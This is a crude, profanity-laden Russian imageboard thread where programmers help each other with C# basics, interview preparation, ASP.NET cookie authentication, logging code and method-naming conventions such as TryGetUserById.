Потому что ты значениям массива присваиваешь одну и ту же ссылку на объект.
Class это ссылочный тип, инициализируя инстанс класса ты получаешь ссылку на экземпляр этого класса.
Лучше конечно снести твой говнокод к чертям и научить тебя хотя бы switch case конструкции перед тем как ты его переписывать будешь, но если тебе похуй, то просто вместо дерьма вида:
var myClass = new MyClass();
for (int i = 0; i < myArray.Length; i ++)
{
myArray = myClass;
}
Тебе нужно писать:
for (int i = 0; i < myArray.Length; i ++)
{
myArray = new myClass();
}
Квадратные скобки съел двач, но я думаю и так понятно в чём твоя ошибка.
Это говно что, копирует адрес вместо самого объекта? И как я об этом должен был догадаться? Почему ту вас в сисярпе вообще это так устроено? Почему нельзя дать программисту выбор, массив чего он хочет сделать: указателей или нет?
Понял. Значит выбор есть.
>Почему нельзя дать программисту выбор, массив чего он хочет сделать: указателей или нет?
Можно. Объявляй свой тип не как класс, а как структуру, будет тебя массив значений а не указателей.
Как будто на них что-то такое рассказывается, до чего я сам не допру. Например, про указатели на один и тот же объект в ячейках массива я вчера перед сном подумал. Но также подумал, что я же явно создавал массив объектов, а не массив указателей, так что бред и лучше посплю и потом разберусь. Про такую бредовую реализацию классов в сисярпе я и подумать не мог. Зачем всё это делать таким? Неужели микрософт не устраивало то, как это было в крестах? Зачем это нужно?
Ну создал ты массив ссылочных типов, не известно когда ты им воспользуешься и может он тебе вообще не понадобится, поэтому смысла нет срать ими в память, вызывая базовый конструктор каждого. При этом у класса может и не быть конструктора без параметров, как тогда быть? Если тебе нужна инициализация базового конструктора, то для этого есть тип Struct, а не Class.
Лол, C# выполнил как раз то, что ты ему сказал. "Создай мне один объект и заполни им массив" - "Есть шеф" - сказал компилятор C# и сделал ровно то, что ты у него попросил.
Кресты на такой же запрос тебе сказали "А может ты имел ввиду создай один объект и вызови еще сверху 10 конструкторов копирования? Ну наверное да, я пожалуй, лучше это выполню". Спасибо, нен надо.
И реализации классов как в крестах не надо. А то еще завезёте наследование ромбиком. А потомки будут вас за это чёрным словом вспоминать.
В крестах "Создай мне один объект и заполни им массив" командуется так. Ты можешь видеть, что адрес в таком массиве на один и тот же объект.
На самом деле верчение ссылок удобно. Главное, не выстрелить себе в ногу, но в большинстве случаев потекшую подливку по штанине заметно сразу при первом тесте. Как сделать иначе я не представляю
Сперва непонятно, конечно
Как сделать опциональный параметр в методе? Т.е если при вызове он передается, то используем то что передается. Если нет, то дефолтный. Например:
public static string myFunc( int num, optionalParam = new MyClass.Options(){Name = "X100", Feature = "Extended"}){ ... }
Тут опциональный параметр optionalParam и дефолтные параметры это имя X100 и Feature = Extended.
Опциональные параметры должны быть constant expression. Т.е. написать new Yoba() не получится.
Жаба 14, в принципе, не такое говно как раньше. Пиздят фичи C#, всё правильно делают.
Я пока сделал перезагрузку метода, то есть теперь 2 одинаковых метода, только в одном на один параметр больше. Скорей всего, это кривое решение.
Нормальное решение. Только код не дублируй.
Нужна для реализации наследования. В 99% случаев тебе про них ничего знать не нужно. https://en.m.wikipedia.org/wiki/Virtual_method_table
меня всегда интересовали кишки. Вот ответ на SOF, который дал мне общую картину об этой технологии
https://ru.stackoverflow.com/questions/1075088/Как-работают-виртуальные-функции-в-c
Нормальное, если ты в методе, который имеет меньшее число параметров, вызываешь метод с большим числом параметров, передавая в них нужные объекты в качестве параметров по умолчанию.
Например в твоём случае метод с меньшим количеством параметров будет выглядеть примерно так:
public static string myFunc( int num,)
{
optionalParam = new MyClass.Options(){Name = "X100", Feature = "Extended"};
myFunc(num, optionalParam);
}
Рихтера почитай, если интересно. Но на деле эта информация тебе особо не пригодится. Я вот прочитал, но всё что сейчас помню, это то, что при вызове виртуального метода, проводится проверка типа объекта, а при вызове обычного, проверка типа не нужна. Ну и то что указатель на тип объекта есть только у ссылочных типов, т. е. в случае когда нужна проверка типа, значимый тип должен приводиться к ссылочному, т. е. происходит боксинг.
да я знаю, что это вода, но завтра собес и пытаюсь вспомнить все неприятные вопросы - типо замыканий в foreach, иерархий типов, состава SDK
спасибо. Я хз, что за собес может быть по телефону. Хотя бы конфу с демонстрацией бы. Судя по всему на джуна делают первый уровень на дебила, за которой последует второй уровень - уже со встречей
Я может крамольную вещь скажу, но для новичка книги для самого начала это слишком круто. Начни с курсов с рутрекера или видосов с ютуба, где шаг за шагом простейшие вещи объясняют. Запускай студию и повторяй. Когда освоишься в простейшем, тогда уже берись за книгу, но только не из числа крутых. Вон обложка книжки Троелсена висит. Самое лучшее чтиво для начала, когда уже делал что-то осмысленное в студии. Глава за главой будешь про знакомые вещи читать и с новой стороны про них узнавать.
Благодарю за наставление, анон. Я наоборот думал, что книгу полезнее будет освоить, чем видосы смотреть, однако от нее много нагрузки на мозг поступило.
Конрад Кокоза — Pro .NET Memory Management, глава 4. Дальше сам.
Спасибо!
Люблю систематизировать и каталогизировать разное дерьмо, хочу парсить различные интернет параши по запросам и сливать дату оттуда, выявлять закономерности. Может запилить потом на своем сайте свою базу данных на основе этой даты.
Опыт программирования - ноль. Насколько подходит сишарп для таких задач, или мне в другой тренд?
Ах да, троечник в математике, но с логикой все ок.
Лучше JS подойдет, так как для парсинга тебе всё равно ено знать нужно будет. А остальное компенсируешь многочисленными фреймворками на любой случай жизни. Шарп это тяжелая артиллерия, в данном случае его применение будет избыточным.
А в анализе изображений какой язык может помочь? Возьмем скажем абстрактный пример - есть 100 фотографий, нужно проанализировать их и скачать данные по фотографиям где человек пострижен коротко. Если не касаться нейронок конечно.
Тоже JS, будешь работать с API систем распознавания изображений, которых сейчас воз и маленькая тележка.
Джаваскрипт с сишарпом парой идет, все нормально.
пойдет обычный txt файл. Если по хардкору, то в CMD. Билдить тоже через CMD - dotnet build/run/publish
пойдет. всё равно в начале будешь с консолью работать.
На фреймворке билдит гораздо быстрее, чем на core, поэтому я бы ставил студию и не выёбывался. Писать в емакс и билдить через командную строку вообще аутизм от мозолеедов, вообще не шарп вей игнорировать статический анализ кода.
Ты тот анон, который на собес настраивался? Как прошло? Что спрашивали? Взяли или перезвонят?
>мозолеед
>билдить через командную строку вообще аутизм от мозолеедов, вообще не шарп вей игнорировать статический анализ кода
Ебнутая вниманиеблять. Бегает по всему двачу и пишет тупую хуйню. Если что, компиляция из консоли или из студии ничем не отличается. Если бы ты знал предмет лучше, и не был таким ебанутым, то знал бы, что в обоих случаях вызывается компилятор csc, и выдает он абсолютно одинаковую инфу, что в студию что в консоль.
Ой, иди-ка ты нахуй со своим "если что". Сам не разобрался нихуя, а уже лезет ко взрослым.
1) dotnet run работает только с .net core. У core версии, при всей моей любви к ней, есть много недостатков в сравнении с фреймворком, в частности сборка идёт ощутимо дольше. Под фреймворки до сих пор разрабатывать комфортнее
2) Несмотря на то, что результат компиляции будет одинаковым, студия позволит использовать статический анализатор кода. Статический анализатор работает не через csc, а через API Roslyn'а, если что
Если бы ты знал предмет лучше, а ещё лучше думал, прежде чем писать, то ты бы так не опозорился.
Ты даже наверное не в курсе, что анализаторы можно воткнуть почти в любой редактор кода. С помощью omnisharp https://github.com/OmniSharp/omnisharp-roslyn или как nuget пакет. Кроме встроенных в VS анализаторов есть и другие https://docs.microsoft.com/ru-ru/visualstudio/code-quality/roslyn-analyzers-overview?view=vs-2019
У меня Линукс и установлен VSCode. Она дает все тоже самое что и VS на Windows. Только работает быстрее раза в 3. Не весит 10-30Гб как виндовая VS. И платить за нее не надо. Для C# есть всевозможные расширения. Кроме C# поддерживает кучу языков.
Ловите вкатывальщика!
Прошло - имо не очень. Интервьер опоздал на 2 часа, пришлось звонить HR/HH напоминать (она еще была не в сети 1.5 часа). Спрашивал много - #, LINQ, Collections, Reflection, ORM, SQL, JS, алгоритм даже один успел спросить. Затронули метаданные и кишочки, к которым я так упорно готовился, но 90% вопросов были из дефолтных вопросов к собесу.
По # нормально ответил, помню, что не ответил - AS при неудачном апкасте выдает null, а IS - false. Перепутал инициализацию out/ref (сказал наоборот, что в out должна быть инициализация, а не в ref). Не сказал, что dictionary работает быстрее list-a (тоже дефолтный вопрос). Не сказал, что лямбда это анонимный метод (КАРЛ). Перепутал select и where, хотя как мне показалось, это скорее интервьер прошляпил - спросил про выборку, а не про фильтрацию - я ответил Select, он сказал Where.
По SQL не ответил про foreign key. По ORM норм (хорошая практика с ними)
По WEB - полный пиздец. Я хоть до этого и ковырял палкой React на пете, но все по средствам google, SOF. Поэтому на какие то банальные вещи типо - задать стиль всем селекторам, я думал через .div, оказалось просто div. Найти элемент в DOM через JS - тоже не ответил, хотя вопрос был плевый.
Я ебашил пет, чтобы привести его до ума, к собесу толком не готовился (3-4 часа), по факту получилось, как получилось. И я готовился на вопросы "поинтересней" по Рихтеру, а задали по Quiz.
Ответы давал развернутые, но судя по реакции и обратной связи - мне показалось, что интервьер ждал только шаблонный ответ на поставленный вопрос. К примеру с рефлекшен я зашел издалека и начал расказывать как работают атрибуты, как они в метаданный флагаются. Он ждал плоский ответ по рефлекшн - "Технология по обращению к метаданным".
А ну да, по ASP.NET еще были вопросы - не ответил на атрибут Action.
Вроде все.
> что не ответил - AS при неудачном апкасте выдает null, а IS - false. Перепутал инициализацию out/ref
Странно, что после такого обсера тебя не проводили ласковым "мы вам перезвоним". Надеюсь ты себя не тешишь надеждами на оффер и уже приступил к поиску другой вакансии.
ты хочешь сказать, что апкасты в 2к20 с дженериками так часто делают? Или создают методы с ref/out?
А сколько сам собес проходил и что по итогу сказали?
Такой объём на всех собесах? Ты на мидла устраивался? Или это должен каждый ссаный джун знать?
И то и то часто используется. Если касты еще как-то можно оправдать, то ref/out используются часто. Ладно обосрался с as и is, но как можно было насрать себе в штаны c ref/out? Ты никогда не использовал int.TryParse(string s, out int result)?
собес по телефону, где то пол часа в быстром темпе (чтобы не гуглил и не искал в заметках). По итогу - ничего, парень спросил есть ли вопросы по тестовому заданию - я сказал нету, т.к. вопросы у меня по проекту, стэку и организации команды.
Насчет всех, не всех - дело ситуативное, кто то начнет в залупу лезть с реализацией какого то механизма - например разложить IEnumerable до песчинок, кто то всколзь поспрашивает смотря в потолок. Как я писал выше - интервьюер представился frontend разработчиком, судя по всему фул стэк, не понятно только из # или из JS. Вакансия - джуна.
>int.TryParse(string s, out int result)
да вот как то даже и не юзал, хотя без него - никуда. Остальные Parse и Convert дают exception, если при переборе будут не Number, а этот метод дает 0.
По as и is приведи пример, где это используется, чтобы в голове отложилось.
as и is я запомнил потому что c is можно составить вопрос object type x is of object type y? на которой можно ответить yes/no, т. е. вернуть true/false, а as более утвердительный, т. е. ты явно говоришь, что объект типа x, хочешь привести к типу y, не ожидая сразу результат в виде конечного объекта, либо null в случае если приведение невозможно
хорошая памятка насчет IS, но по логике приведение должно давать InvalidCastException, а не null. Так или иначе, запомнил, спасибо.
>>744760
какой то странный пример. 1 - метод Dump это фича какого то редактора, забыл название, которая в контекст (на консоль) передает значение без использования console. 2. Что ErrorMsg, что InfoMsg являются наследниками Msg - поэтому что то, что то даунастится, но без is/as. Я так понимаю эти два ключевых слова используются исключительно в контексте приведения, т.е. должны задаваться явно, а у тебя в примере - не явно. Если не так - поправь
>>744763
хороший пример, но имо нынче время дженериков и по идеи должны строго типизировать тип, чтобы не делать проверку приведения. GetNumber<T> Where T : I - типо такого.
Спасибо, что отписали
лямбда
Посмотрев на пример >>744760 вспомнил, что switch-case, а там более goto вообще не юзаю и даже забыл синтаксис. Что скажете, какова популярность этих конструкций?
> Dump
LinqPad
>>744782
>Что ErrorMsg, что InfoMsg являются наследниками Msg - поэтому что то, что то даунастится, но без is/as
Ты не перепутал даункаст с апкастом опять? Тебе прилетает из вне Msg, но ты в зависимости от конкретного типа хочешь их обрабатывать по-разному, поэтому даункастишь до более конкретного типа.
>в контексте приведения, т.е. должны задаваться явно, а у тебя в примере - не явно
is - тупо проверить, as - проверить и если оно, то привесли, если нет - налл. Паттерн матчинг это сахар, который компилятор разворачивает в as/is. Раньше писали через as/is, теперь в большенстве случаев можно написать красивше. Еше так можно
if(obj is string str) - по факту вызовется as и проверка на налл.
>GetNumber<T>
Ну так проверка и приведение будет в GetNumber. Ты не всегда можешь знать какой тип тебе прилетит, например, от удаленного клиента.
Довольно популярно, свичу в последних версиях шарпа добавили довольно много фишек.
>Ты не всегда можешь знать какой тип тебе прилетит
Хороший аргумент. Так что да, я изменил свое мнение насчет приведений.
>Паттерн матчинг
в обед погуглю, никогда не встречал. Знаю по GOF ~9-10 и то на практике никогда не применял. Да по ним и не спрашивали.
>Ты не перепутал даункаст с апкастом опять?
В твоем примере как раз даункаст идет - проверка от родителя к предку. Только они оба наследники Msg и конструкция case это проверяет. Т.е. если залетит какой то тип без наследования, то case банально не найдет его и пропустит. Пока писал нашел логическое объяснение твоему примеру. Спасибо.
>LinqPad
зачем он нужен, когда есть VS? На крайняк VS Code
> Затронули метаданные и кишочки
> AS IS
> out/ref
> dictionary
> лямбда
> LINQ select и where
Что ты подразумеваешь под кишочками?
> По ORM норм (хорошая практика с ними)
Например? Интересно, что тебя спрашивали
Я год работаю, но ничего сложного в твоих вопросах не увидел, кроме ебли с джаваскриптом, но его я и не изучал, так, в экстренных случаях правки вносил
А еще as гораздо медленнее is, насколько помню. Надо построить все дерево наследования
годовалый работяга
>Что ты подразумеваешь под кишочками?
Вот так читай
>Затронули метаданные и кишочки, к которым я так упорно готовился, но 90% вопросов были из дефолтных вопросов к собесу.
только 10% (даже меньше) затрагивали принципы работы, а не их задачи.
По ORM - отличие EF от ADO.NET, какие еще есть ORM. Какую функцию выполняют. Db first-Code first. Какой то вопрос был про Lazy loading, но не могу вспомнить в каком контексте. Вспомнил - IQuerable - отличие от IEnumerable.
>Я год работаю
я работаю финансистом, все мои знания - это самоучение и пет проекты. Я бы давно пошел интерном за $300, если бы мне не было под сраку лет
Равно или больше.
>Знаю по GOF ~9-10 и то на практике никогда не применял
А? При чем тут гофовские паттерны. Паттерн это шаблон, паттерн матчинг - сопоставление с шаблоном.
>В твоем примере как раз даункаст идет
Да, Msg даункастится к ErrorMsg, но ты ж писал
>поэтому что то, что то даунастится, но без is/as
но ведь
Msg m = ...;
ErrorMsg e = m;// без явного приведения фэйл
а вот апкаст сработает без явного приведения.
>зачем он нужен
Прост. Маленькое удобное приложение длятестирования небольших кусков кода. Особенно крут этот всеядный Dump().
хм, думал marching - это название, а это сопоставление.
>ErrorMsg e = m;// без явного приведения фэйл
теперь точно разобрался, спасибо
Спасибо за ответ, не знал, что могут спросить по ADO.NET, я думал, это уже свое отжило
Lazy Loading имеет отношение только к IQueryable, потому что IEnumerable обычно означает, что коллекция уже у тебя на компе, только под капотом не какой-нибудь хитрый yield
На какую зп идешь, ну так, примерно? У меня ~50к в сумме со всеми премиями
ADO.NET - легаси, но сложного впринципе ничего в нем нет имо. Обычный SQL запрос к базе через конструкцию Using с Dispose.
да и вспомнил еще на чем спотыкнулся - где выполнение идет сразу, а где отложенно - в IEnumerable сразу (как ты написал, она же на клиенте, а не на сервере)
ЗП - я HH/HR назвал цифру - $400-500. Из за того, что свитчер - прийдется потерять 25% своей текущей ЗП (750-800 сейчас)
>я думал, это уже свое отжило
Все эти ваши ORM - EF, linq2sql, dapper обертки над ADO.Net разной толщины.
всмысле шифрует куки? Это уже твое дело - сохранять данные в куках клиента или нет. Я прятал в куках auth jwt token - проверка по header с полем Jwt beaver
>всмысле шифрует куки?
Ну вот подключил я аутентификацию
services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme).AddCookie();
Потом добавил несколько Claim'ов и вызвал HttpContext.SignIn() с этими клаимами. Юзеру прилетают кука с длинной base64(или нет) строкой, там, как я понимаю и зашифрованы все его клаимы. Вот отсюда и вопросы: может ли юзер расшифровать и отредактировать свои права при такой аутентификации и как их распозноет сервер, я ведь не сохраняю ничего на сервере, а серв как-то расшифровывает после перезапуска - значит никакого секретного ключа нет.
ты передаешь зашифрованный ключ, в котором есть секции claims, useremail, флаги, все что запихнешь вообщем. Юзер этот кук использует при обращении к контроллеру, где должен быть атрибут [Authentificate] (или как то так). Т.е. при каждом обращении из кукисов в хедере идет хендшейк между твоим контроллером из бэка и клиентом
Блядь, да что же я косноязычный такой сегодня. "Или" лишнее
я из собеса, который проходил на практике видел только 10% информации, остальное только на страницах учебника или на веб. ресурсах
>ты передаешь зашифрованный ключ
Вот это мне и не понятно. У серва же нет никакой доп инфы кроме переданной через куки. Так если серв может расшивровать, значит и клиент может, нет?
я только начинаю курить асп не бейте ключом шифрования по голове
> в ключ шифровка идет поля с secret, который выдает сервер и принимает с таким же ключем атрибутами аутентификации
Ты мне мозг сломал несогласованностью падежей и яннп. Есть что нибудь конкретное почитать?
>Ты мне мозг сломал
кто сказал, что будет легко? Я делал на своем пете аутентификацию по буржуйским туториалам. Типо такого:
https://medium.com/@vaibhavrb999/jwt-authentication-authorization-in-net-core-3-1-e762a7abe00a
По туторам и я сделал, теперь бы понять как это работает внутри. Да и вопрос-то не про JWT.
что конкретно внутри? То что при атрибуте контроллер энкриптит зашифрованный ключ и сверяет клеймсы, сикрет и инфу о юзере? MSDN в помощь, правда там будет все обо всем, ибо это вопрос секьюрити. Если ты делал создание юзеров через UserManager, то ты даже в своей же ДБ не увидишь пасса - он зашифрован к хеш
Так вот, при разрешении мапы 800x800 это говно оч медленно работает. Неприлично медленно. При этом если отрубить запись то работает приемлемо, примерно 100 поколений за 2 секунды.
Ну, и мне интересно, можно ли как-то оптимизировать этот момент с записью в файлик?
Записываешь в файл после каждого изменения клетки или же пишешь состояние всей системы в определенный момент времени туда?
После обновления мира.
Типа основной цикл выглядит так:
int gen = 0;//поколение
while(!GameOver)
{
world = UpdatePlaneWorld(world, rulesHandler);
SaveToBMP(world, saveFolder, gen);
gen++;
}
>что конкретно внутри?
Ну я уже не знаю как еще объяснить. Но попробую еще раз.
>делал создание юзеров через UserManager
нет
>в своей же ДБ
нет пока никакой бд и никаких паролей.
> пасса - он зашифрован к хеш
давай чтобы не было путаницы: шифрование это когда можно получить обратно данные, а хэширование - получение некого отпечатка данных.
Итак все что есть это подключенная аутентификаци через куки
services.AddAuthentication(...).AddCookie() и клайм засунутый в Principal, который в свою очередь засунут HttpContext.SignIn() Никакой авторизации, никаких логинов/паролей и бд. Теперь эти клаимсы асп засовывает в куки. И вот вопрос данные в куках зашиврованы c помощью какого-то ключа (если да, то откуда берется этот ключ, он же нигде не сохраняется, но при перезапуске способен распознавать данные из кук) или просто закодированы чем-то вроде Base64? Пока у меня такое представление:
>ключ привязывается к машине на которой запущен серв. И если я запущу серв на другой машине он не распознает куки. Верно?
в субботу еще одно интервью, только заказчик пожирней - аутсорсинг. И будет оно скорее всего на ангельском. После отпишу вопросы, которые задает забугорный заказчик.
Еще не придумал, как буду отбрехиваться - в требованиях 2 года ком. опыта в ойти, а я только петы писал
> Блин, чуваки, скажите, плиз, что вы джуны? Ну нельзя же столько получать будучи норм шарпистом, даже в провинции.
А сколько можно? Я джун с годовалым опытом в провинции
причин много на самом деле, если в кратции:
1. Работа не гибкая, знания не универсальные - уволюсь, прийду на новое место, начну опять с $300-400
2. Роста нет от слова совсем. Я уже уперся в потолок, дальше только менеджмент
3. Трактор не заведешь - бизнес по СНГ-шному и бугор - это разные миры
Да и программирование, как хобби уже лет 5 точно, накатило просто и решил, что пора свитчиться
Норм мотивация. Удачи!
Вакансии насрать, нужен убедительный вдохновляющий ЯП.
Котлин это очередной высер хипстеров-хайпожеров от жидбрейнсов. Один их решарпер, который требует ресурсов больше чем сама студия, чего только стоит. Похайпует твой котлин, а потом разрабы забьют на него и он сдохнет.
public string Log {get;set;} = ""
public void AddLog(string log)
{
Log+=$"{DateTime.Now}: {log}\n";
}
Этот "лог", нигде не чистится, класс, в котором он живет - синглтон. Метод AddLog вызывается каждый раз когда вызывается какой-нибудь метод внутри класса. Как уже было сказано, класс - синглтон, само приложение - сервер, т.е. жить должно долго.
Так вот, может я чего-то про строки не знаю? Просто со стороны выглядит как хуйня, которая когда-нибудь всю память сожрет. Я джун, потому не кидайтесь тапками, если я какую-то хуйню спросил.
Ты прав, код — хуйня, но память не сожрет, т.к. GC будет собирать созданные ранее строки.
Или сожрет, если лог будет дохуя большой и не очищается. Код все равно хуйня.
Конечно хуйня. Нужно сделать примерно так:
private const int LogLengthBeforeSave = 10000;
private Path LogFilePath {get;} = "Logs.txt";
private StringBuilder Log {get;} = new StringBuilder(LogLengthBeforeSave);
public void AddLog(string log)
{
lock(Log)
{
Log.AppendLine($"{DateTime.Now}: {log}");
if (Log.Length => LogLengthBeforeSave)
{
try
{
File.AppendAllLines(LogFilePath, Log.ToString());
}
catch(Exception e) {
HandleError(e);
return;
}
Log.Clear();
}
}
}
public string GetLogs()
{
string logsFromFile = "";
try
{
logsFromFile = File.ReadAllText(LogFilePath);
}
catch (Exception e)
{
HandleError(e);
}
return logsFromFile.ToString() + Logs.ToString();
}
В том виде который ты описал, каждое добавление к логу будет создавать в памяти копию предыдущего значения. При этом если записывать лог из разных потоков одновременно, то часть логов вообще проебется.
Конечно хуйня. Нужно сделать примерно так:
private const int LogLengthBeforeSave = 10000;
private Path LogFilePath {get;} = "Logs.txt";
private StringBuilder Log {get;} = new StringBuilder(LogLengthBeforeSave);
public void AddLog(string log)
{
lock(Log)
{
Log.AppendLine($"{DateTime.Now}: {log}");
if (Log.Length => LogLengthBeforeSave)
{
try
{
File.AppendAllLines(LogFilePath, Log.ToString());
}
catch(Exception e) {
HandleError(e);
return;
}
Log.Clear();
}
}
}
public string GetLogs()
{
string logsFromFile = "";
try
{
logsFromFile = File.ReadAllText(LogFilePath);
}
catch (Exception e)
{
HandleError(e);
}
return logsFromFile.ToString() + Logs.ToString();
}
В том виде который ты описал, каждое добавление к логу будет создавать в памяти копию предыдущего значения. При этом если записывать лог из разных потоков одновременно, то часть логов вообще проебется.
Спасибо
Учи котлин
У котлин молодежнее
Логер размером больше чем 99% программ в которых нужен логер? Попахивает физзбаззом энтерпрайз эдишн. У меня есть два своих класса, один логирует всё сначала в память, потом в файл. Другой выводит информацию в UI, который может быть как консолью, так и любым другим графическим интерфейсом, который принимает текстовые данные и выводит их на дисплей. Оба занимают около 100 строк кода, не вижу смысла ставить что-то тяжелее, еще и смотреть в дебри документации этого монстра.
Сочувствую тебе, если ты не троллишь и у тебя веб-сервер по количеству и важности задач стоит на уровне с логером.
1) насчет размера - согласен. просто у меня дикий мастодонт на юнити и там это не особо то и важно
2) реализация логгера вручную - нууу, хз. думаю там, что если можно использовать что-то готовое и проверенное, то НУЖНО использовать что-то готовое и проверенное. Самому оформлять уровни, верстки и тд не особо хочется. Тем не менее согласен, что в небольших проектах, где логирование просто ради удобства разрабов, можно и ручную хуйню прописать
Двачую. И добавить нечего.
На языке ассемблера должен хурить, как деды.
Так у нас без знаний верстки и js делать нечего. По крайней мере без js уж точно.
Тоже об этом подумал.
class Box<T> where T : struct
{
private T t;
public Box(T t)
{
this.t = t;
}
public static explicit operator T(Box<T> b)
{
return b.t;
}
}
What the hell is this? Explicit operator - это типо перегрузка оператора? А b.t это что такое? Пишу 2 года, первый раз вижу такое
Explicit operator это явное приведение типа, есть еще implicit - неявное.
>А b.t это что такое
Возвращение типа к которому ты приводишь, т. е. типа T, а приводить ты должен тип Box<T>
b.t это обращение к тому, что объявлено как private T t;
explicit conversion оператор - это оператор, который без явно написанного тобой каста не вызовется.
b.t это обращение к полю t класса Box<T>, у которого и так уже тип T
скопируй этот код в IDE и переименый переменные на нормальные, всё сразу поймешь
Ты из функции приведения должен вернуть переменную типа T, она у тебя уже хранится в поле t, вот ты её и возвращаешь.
Тема такая: долгое время разрабатываю на юнити в стартапе, но вся тема прогорает и нужно искать куда свинтить. Вышло так, что из-за работы с движком, получилось более менее подучить язык, пусть и с учетом специфики юнити. За это время шарп мне очень зашел - годная штука, но хочется делать серьезный софт, а не игры. Отсюда вопрос: на си шарп вообще ведется разработка ПО? или он только для бека/веба? Видел много вакансии по разработке ПО на крестах, но если есть вариант не переучиваться на другой язык, а углубляться в этот, то лучше рассмотреть ее. Спасибо
Зайди на сайт с вакансиями да проверь. Десктопа очень мало, да и тот что есть всё равно зачастую работает с вебом, если не с вебом, то с базой данных точно.
Бек/Веб тоже ПО, лол, кек.
На десктопах ведется, но не нужна, т.к. десктоп дед.
ХЗ что тебе не нравится в беке? Особенно сейчас, когда мода на микросервисы. Охуенно же.
Пацаны. Есть приложение на windows Forms, написанное на C#.
Нужно сделать так, чтобы это приложение через определенный интервал времени стучалось в определенные места. Как это можно реализовать. Стучаться должно конечно в отдельном потоке.
Я знаю решения только в таймером. Но может быть есть СОВРЕМЕННЫЕ решения данной проблемы?
Ну, тривиальное решение с асинхронщиной:
while(!stopToken.IsCancellationRequested)
{
await ТвояТаскаПоСтучанию();
//На случай если таска затянулась или еще что-то можно сделать вычисление задержки чтобы, скажем, у тебя каждую 10ю минуту таска по стучанию запускалась.
var delay = ТвойМетодВычисленияИнтервалаВремениДляСледующегоПостукивания();
await Task.Delay(delay);
}
Этот высер и есть современный подход к таймерам?
Ты когда нибудь работал с gui приложениями?
Нет конечно.
Лучше таймера ничего не придумали, главное всегда делать его с period равным Timeout.Infinite (вызывая в конце выполнения метод Change) и использовать System.Threading.Timer, а не другие 3.
>Использовать нужно наиболее подходящий.
Я всё же буду придерживаться мнения авторов как Рихтер и разработчиков ядра .NET, а не супер-модераторов с непонятных пидорахофорумов.
Нет, 4 тома многовато, 2-х будет достаточно. Собственно, уже нашёл, но спасибо за ответ.
Аминь.
Но я хочу поделиться с тредом текущим состоянием. Да.
https://www.dropbox.com/s/8u7n6wwc376lr9j/Snake.7z?dl=0
Буду благодарен за багрепорты и фидбек.
например в пикриле, если в базе нет запрашиваемого пользователя, что мы не можем передать нул, как дальше быть?
Меню не сразу всплывает, ждёт нажатия клавиши.
Ты бы хоть Game Over нарисовал, а то вылетает с эксепшеном.
Иногда есть баг, когда резко нажимаешь в 2 направления, оно зависает и мигает.
да только метод который вызвал ожидал значение а получил нулл, вот и получается ексепшин
ну пока я накостылял что-то такое
1 пикрил страница где юзается метод
2 пикрил класс который обращается к дб обработчику
3 пикрил собственно обращение к дб
бля проебался сек
ну пока я накостылял что-то такое
1 пикрил страница где юзается метод
2 пикрил класс который обращается к дб обработчику
3 пикрил собственно обращение к дб
вот
но я понимаю что это лютые костиля, просто не понимаю как сделать правильно
Зачем эти хелпер методы если в конечном итоге ты юзера, которого ты не нашел в базе обрабатываешь по особому сценарию?
Что ты хочешь сделать?
ладно, расскажу с предысторией, раньше я делал иначе, но пришли парни прогерры с второго етажа и повозили меня мордой по столу за мой код, они сказали что методы должны групироваться в хелпере что бы их потом можно было легко использовать и дебажить, и дали леща за "если я использую твой метод я должен получить значения а не ексепшин" а я нихрена не понимаю чего они хотят, типа если пользователь не найден, чего я им должен возвращать что бы у них не было ексепшинов?
Ты либо не понял парней со второго этажа, либо они идиоты скорее первое
Любой хороший код должен соблюдать принцип наименьшего удивления.
Метод, который называется GetSomethingById(Guid id) должен именно брать значение этого Something из источника информации. Если этой хуйни в источнике нет - пусть вернет default(Something), либо (предпочтительный вариант) кинет исключение.
Если тебе нужно попытаться найти Something в источнике информации - напиши метод bool TryGetSomethingById(Guid id, out Something result). Этод метод уже не должен ничего бросать.
Если тебе нужно взять что-то из источника информации, а если этой хуйни там нет - вернуть значение по умолчанию, нужно написать метод Something GetSomethingByIdOrDefault(Guid id, Something default)
Если тебе нужо взять что-то из источника информации по айди, а если оно там не нашлось то добавить - пиши метод GetOrAddSomethingById(...)
и почему исключение предпочтительно, оно же валит сервер, его потом качем надо ловить...
Какой лист возвращать, дебил? Возвращается класс User, List используется в качестве примера для замены твоей бд.
извини, не разобрался, да действительно надо попробовать так
Сервер никто не валит. Даже если ты его не обработаешь, сервер просто вернет тебе 500 и продолжит работать.
Исключение предпочтительно потому это позволит тебе сразу же заметить, что ты делаешь какую-то херню.
По поводу задачи на повестке: в первую очередь тебе нужно в голове уложить для себя, что твоя программа должна делать, в случаях а) когда пользователь существует б) когда пользователя нет
Когда это уяснишь, с архитектурой проще станет
> метод который вызвал ожидал значение
Если метод обязан запросить существующего юзера, то кидай эксепшон. Если можно запрашивать любой айди, то возвращай налл. На мой взгляд в таких случаях неплохой вариант это запилить метод bool TryGetUserById(int id, out User user). Вижу на скринах ниже ты что-то похожее пытаешься сделать, только как-то через жопу.
то-есть я понимаю что должен быть в таком случае TryGetUserById(int id, out User user) потому что источник айди это адрестная строка, и пользователь туда что угодно может вписать, и надо обработать так что бы ничего не упало что бы пользователь не вбил
спасибо анон. поправил!
>а почему через жопу?
Есть общепринятый стиль написания таких методов (int.TryParse, dictionary.TryGetValue и т.д.), где индикатор успеха является возвращаемым значением метода, а сам результат через out параметр метода.Т.е. в твоем случае как-то так:
bool TryGetUserById(int id, out User user)
{
.user = db.Users.Find(id);
.return user != null;
}
то-есть так? а есть какая-то очень большая разница с тем способом который был сначала?
Вот как должно выглядит, я вообще хз как эту хрень сверстать
Затык с правой частью. Я хз как StackLayout c цифрами внутри выровнять в одну линию с большим числом из левого куска
Ну хз, как-то переусложняешь, зачем юзер с индексом -1? И убери
if(someBoll == true) этож пиздец. Сыграй вот в это https://cleancodegame.github.io/ полезная штука.
Чем тебе grid не угодил-то?
https://docs.microsoft.com/ru-ru/xamarin/xamarin-forms/user-interface/layouts/grid
Так стаком проще сделать значение - разделитель - значение. Просто берёшь и в стак пихаешь и ставишь ориентацию.
А в гриде надо инициализировать грид, сколько строк, к каждому лейблу ставить его ряд.
Я грид использую в основном для верхних уровней, по типу основы макета.
ты видишь out User user? видишь что метод возвращает user? bool всего лишь статус выполнения метода
Вот у меня такая же реакиця на Get метод, который возвращает bool и имеет out параметр
Метод который возвращает пользователя должен наываться GetUserById
Метод который пытается вернуть пользователя должен называться TryGetUserById
ну тут да я еще раньше написал что согласен и поменяю, а причем тут булл
